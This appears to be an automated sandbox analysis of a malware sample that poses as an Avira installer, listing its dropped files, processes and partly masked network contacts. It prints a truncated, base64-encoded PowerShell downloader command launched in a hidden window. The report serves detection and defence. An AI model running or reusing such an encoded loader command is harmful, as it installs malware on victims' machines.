Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAFgAVgBSAFEAeQBuAHAAPQAnAE0ATgBSAFMATwBwAG4AYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAdQByAGkAdABgAFkAUAByAE8AVABvAGMAYABvAGwAIgAgAD...
Modifies file system
Creates the following files
- %HOMEPATH%\89.exe
- %TEMP%\.cr.22069\zh-cn\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\tr-tr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\ru-ru\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\pt-br\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\nl-nl\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\microsoft.windows.shell.dll
- %TEMP%\.cr.22069\ja-jp\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\it-it\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\fr-fr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\es-es\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\endpointprotectionsdk.lic
- %TEMP%\.cr.22069\en-us\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\dryiocattributes.dll
- %TEMP%\.cr.22069\dryioc.mefattributedmodel.dll
- %TEMP%\.cr.22069\dryioc.dll
- %TEMP%\.cr.22069\de-de\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.telemetry.interface.dll
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.logging.dll
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.exe.config
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.exe
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.engine.dll
- %TEMP%\.cr.22069\avira.spotlight.bootstrapper.core.dll
- %TEMP%\.cr.22069\avira.filedownloader.dll
- %TEMP%\.cr.22069\avira.common.mixpanel.dll
- %TEMP%\.cr.22069\antivirussetup.inf
- %TEMP%\.cr.22069\zh-tw\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\avira_spotlight_bootstrapper_2020-08-27_00-06-17.log
Network activity
TCP
HTTP GET requests
- http://tv###miguel.com/ww4w/y_mm_n8/
- http://dg###tkelis.lt/ww12/gmei_ksa_vb/
- http://te##lh.com/old_whmcs/jd_elc_1e/
- http://te###engel.com/wp-admin/gg_p_njyjdpr/
- http://te###engel.com/cgi-sys/suspendedpage.cgi
- http://te###sign.com/stats/szv5_kv_vaf4016v/
UDP
- DNS ASK tv###miguel.com
- DNS ASK dg###tkelis.lt
- DNS ASK te##lh.com
- DNS ASK te###engel.com
- DNS ASK te###sign.com
- DNS ASK pa####e.avira.com
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\89.exe'
- '%TEMP%\.cr.22069\avira.spotlight.bootstrapper.exe' OriginalFileName=89.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAFgAVgBSAFEAeQBuAHAAPQAnAE0ATgBSAFMATwBwAG4AYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAdQByAGkAdABgAFkAUAByAE8AVABvAGMAYABvAGwAIgAgAD...' (with hidden window)
